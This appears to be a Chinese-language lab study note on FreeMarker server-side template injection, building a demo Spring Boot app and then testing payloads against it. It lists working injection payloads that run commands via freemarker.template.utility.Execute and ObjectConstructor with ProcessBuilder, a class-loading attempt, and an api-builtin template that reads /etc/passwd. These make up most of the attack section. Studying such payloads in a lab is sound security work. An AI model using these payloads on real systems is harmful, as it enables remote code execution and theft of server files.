中文文档
http://freemarker.foofun.cn/ref_depr_numerical_interpolation.html
payload构造:
https://teamssix.com/211203-200441.html#toc-heading-4
正常使用方法:https://blog.csdn.net/zenyangqiming/article/details/108415063
写Freemarker项目
我们先来正向写Freemarker项目
application.properties
# 模板后缀名
spring.freemarker.suffix=.ftl
# 文档类型
spring.freemarker.content-type=text/html
# 页面编码
spring.freemarker.charset=UTF-8
# 页面缓存
spring.freemarker.cache=false
# 模板路径
spring.freemarker.template-loader-path=classpath:/templates/
server.port=8886
index.ftl
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>FreeMarkerdemo</title>
</head>
<body>
<table>
<tr>
<td>网络ID</td>
<td>公众号名称</td>
</tr>
<tr>
<td>${user.id}</td>
<td>${user.name}</td>
</tr>
</table>
</body>
</html>
FreemarkerController
package com.example.freemarker;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import java.util.HashMap;
import java.util.Map;
@Controller
public class FreemarkerController {
@RequestMapping("/freemarker/index")
public String fmIndex(ModelMap modelMap){
Map<String,String> map = new HashMap<>();
map.put("id","666");
map.put("name","qiezi");
//给模板添加上面的属性值
modelMap.addAttribute("user",map);
return "index";
}
}
运行项目,如下
命令执行攻击
new函数利用
利用方法一(RCE)
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问http://127.0.0.1:8886/freemarker/index路径时候,会命令执行弹出calc
利用方法二(RCE)
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
api函数利用
利用方法一(RCE)
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
可以看到没有成功
我们看看原因,如下:
查看版本发现是2.3.31版本,freemarker在在 2.3.22 版本之后apiBuiltinEnabled 默认为 false,apiBuiltinEnabled 为true时候才能生效
利用方法二(任意文件读取)
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]